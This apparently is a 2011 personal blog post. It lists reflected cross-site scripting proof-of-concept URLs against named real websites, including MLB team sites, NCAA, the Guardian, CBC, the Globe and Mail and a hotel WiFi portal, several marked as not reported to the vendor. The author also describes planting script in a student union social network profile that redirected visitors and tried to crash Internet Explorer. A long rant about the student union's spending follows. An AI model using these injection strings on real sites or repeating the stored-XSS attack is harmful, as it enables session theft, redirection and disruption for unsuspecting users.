MLB Network-Wide XSS

Date: Feb-21-2011
Vendor Notified: Yes
Proof of Concept:

American League:

http://baltimore.orioles.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=bal&x=13&y=3

http://texas.rangers.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=tex&x=14&y=10

National League:

http://atlanta.braves.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=atl&x=18&y=3

http://sanfrancisco.giants.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=sf&x=12&y=4

MLB.com:

http://mlb.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&x=12&y=7

NCAA

Date: Feb-21-2011
Vendor Notified: No
Proof of Concept:
http://www.ncaa.com/schools/--%3E%3C/script%3E%22%3E%27%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E

Guardian.co.uk

Date: Feb-21-2011
Vendor Notified: Yes
Proof of Concept:
http://www.guardian.co.uk/websearch?q=%22%3E%27%3E%3Cscript%3Ealert%28%270%27%29;%3C/script%3E

CBC

Date: Feb-20-2011
Vendor Notified: No
Proof of Concept:
http://www.cbc.ca/search/cbc?ie=utf8&site=CBC&output=xml_no_dtd&getfields=description&oe=utf8&safe=high&q=%27;alert%280%29//\%27;

The Globe and Mail

Date: Feb-20-2011
Vendor Notified: No
Proof of Concept:
http://www.theglobeandmail.com/search/?q=%27;//\%22;alert%280%29//--%3E%3C/script%3E%22%3E%27%3E%3Cscript%3Ealert%280%29%3C/script%3E

SingleDigits Hotel WiFi

Date: Feb-04-2011
Vendor Notified: Yes
Proof of Concept:
https://hotspot.singledigits.net/index.jsp?msg=/%3E%3C/script%3E%3Cscript%3Ealert(%270%27);%3C/script%3E&typ=sys

weatherzombie.com

Date: Feb-01-2011
Vendor Notified: Yes
Proof of Concept:
http://www.weatherzombie.com/search/?q=/%3E%3C/script%3E%3Cscript%3Ealert(%27XSS%27);%3C/script%3E

New England Patriots

Date: Jan-27-2011
Vendor Notified: Yes
Proof of Concept:
http://searchmedia.patriots.com/us?uq=and(/%3E%3C/script%3E%3Cscript%3Ealert(%270%27);%3C/script%3E)

StFX Students’ Union “Social Network”

In my previous post, I mentioned how TheU introduced the “Social Network” as an “exclusive network for StFX.” Being critical of TheU, I finally mustered the courage to join this excuse of a web application and take a look. What I found was what I expected.

I found a large amount of XSS, injection, and CSRF vulnerabilities. I rendered a list of about 12 of these vulnerabilities within 10 minutes of using the website (without poking around). I decided to write a small PoC and test one of the XSS vulns. The proof was a small amount of javascript which I placed inside the “About” section in my profile, although nearly each input field I came across within the profile editing module was vulnerable. The javascript would alert() the user to check out my blog, and would then window.location the user to a page. The page would crash Internet Explorer (if the user was using it). If the user was not using Internet Explorer, it would merely display my blog.

It took four days for the developers at the application-mill (like a puppy-mill, but for crappy application clones [like the Facebook clone TheU bought for $10,000]) to see the problem and fix it. This all could have been avoided by sanitizing and validating user input. Utilizing PHP’s htmlentities() function could have been used to fix the problem before allowing public access to the service. The fact that security best-practices have not (and are not) being followed literally makes this $10,000 Facebook clone utterly worthless. The XSS vuln alone made the website worthless. A $10,000 bug, if you will.

To avoid any more reiteration of my thoughts on the matter, I’ll leave you with the following:

StFX Students’ Union

The university I attend (St. Francis Xavier) has a students’ union called TheU. TheU is a stereotypical student ran union in which most (2/3) of the student staff hired are friends of the “elected leaders.” Now, people may argue “politics,” however, I argue ball-pit. Ball-pit? You know, those colourful pits at Chuck E Cheese full of plastic balls of which you can sink into and play “night crawlers.” TheU is to St. Francis Xavier University as a pit of balls is to Chuck E Cheese.

People being hired into “high-level,” strategic positions that are of the utmost importance to the operations of an organization based solely on the fact that they are “friends” with the elected officials is a flawed system. Almost every country in the world is guilty of this corruption. However, it is almost laughable when you see it happen at such a small level. TheU’s current representatives and “executive team” seems both ethnically and personality diverse. However, when you strip all that jibber-jabber away, you see long-time friends and cliques. Cliques are everywhere, go ahead, argue it; these cliques, however, impede and seriously cloud judgment in this organization.

I am currently an employee (technically) of TheU as a Senior Campus Police Officer (queue superhero music). Sure, I may be bashing my employer to an extent, but until you have seen first-hand the uncanny amount of malarkey in this organization — you too may have a clouded judgment. Before being hired as a Sr. Campus Police Officer, I worked as TheU’s Developer. 2/3rd’s of our development team worked great together. Dan was the Lead Developer and was a fantastic colleague. We worked on a few high-stress projects together and accomplished great results. We also were stuck with the 1/3 of the team, another colleague whom was more difficult to work with. Of course, this person was friends with, and part of the “executive team clique” (also known as Team Executive). Problems were not being resolved, and when Dan and I spoke with this person’s “boss,” issues which should have resulted in a resignation literally resulted in a loaf of banana bread being hand delivered with an apology. Great.

Back on track now. Currently, watching these kids play in a million dollar ball-pit sucks. They are using my money (union dues) to completely screw up an organization who’s sole-purpose is to advocate, act, and support students on behalf of students. Sure, owning the campus pub is great and could provide a lot of revenue potential in the future. However, a Facebook clone… not so much. Recently, the VP of Communications decided it would be awesome if TheU busted out into the “what’s left for scraps” of the social networking scene. A Facebook clone was purchased from a company who specializes in, well, clones of Facebook. Specifically a clone which is geared toward… university… campuses (didn’t Facebook do that?).

~$7,000 (a little more or a little less) of student money was just recently spent on a dilapidated “professional” Drupal installation. This Drupal installation was so fudged that it could be packaged and sold in stores under the “National Inquirer” magazine rack, next to all the other crappy candy. One of the last things Dan and I did before we parted ways with TheU was halt the development on this train-wreck before more money was wasted. However, the current VP of Communications decided that it was needed still needed. The original plans for the site was to allow students to login using LDAP and be able to post comments, pictures, and network on a social level. Hmmm…

After this website launched earlier this school year, it quickly sunk. It sunk so badly that now, another ~$7,000 (a little more or a little less) $10,000 of student money has yet again been sloppily expelled from council like a malformed-alien baby from its host’s womb. TheU Social Network was passed through council with intentions of being successful and to take place of using other means to promote events, connect, and share what you’re having for dinner. Seriously. This is going to fail just like all other technical related projects which have passed through TheU. The problem is here incompetency when it comes to technology. Without competence in regards to technology, marketing will fail. Vice-versa. Being unable to comprehend that you must use an SSL certificate when passing sensitive student information, such as a student’s username and password for webmail and a crappy students’ union website (since LDAP was used) proves my point. Being prone to man-in-the-middle attacks on such an easily remedied level further solidifies my point.

Furthermore, when an organization fails to utilize technology and leverage what is available to them, the organization also fails to associate and market on a higher intellectual scale with its prospects. In this case, further under-leveraging technology available (example: using Facebook vs purchasing a Facebook clone) not only forces a marketing failure, but will align the entire organization to fail in any and all future endeavors.

TheU is merely an exclusive club of rich kids whom have access to a million dollar ball-pit at Chuck E Cheese. Hopefully next year’s elected officials will be able to change and start to buff out the dents in the van SUV.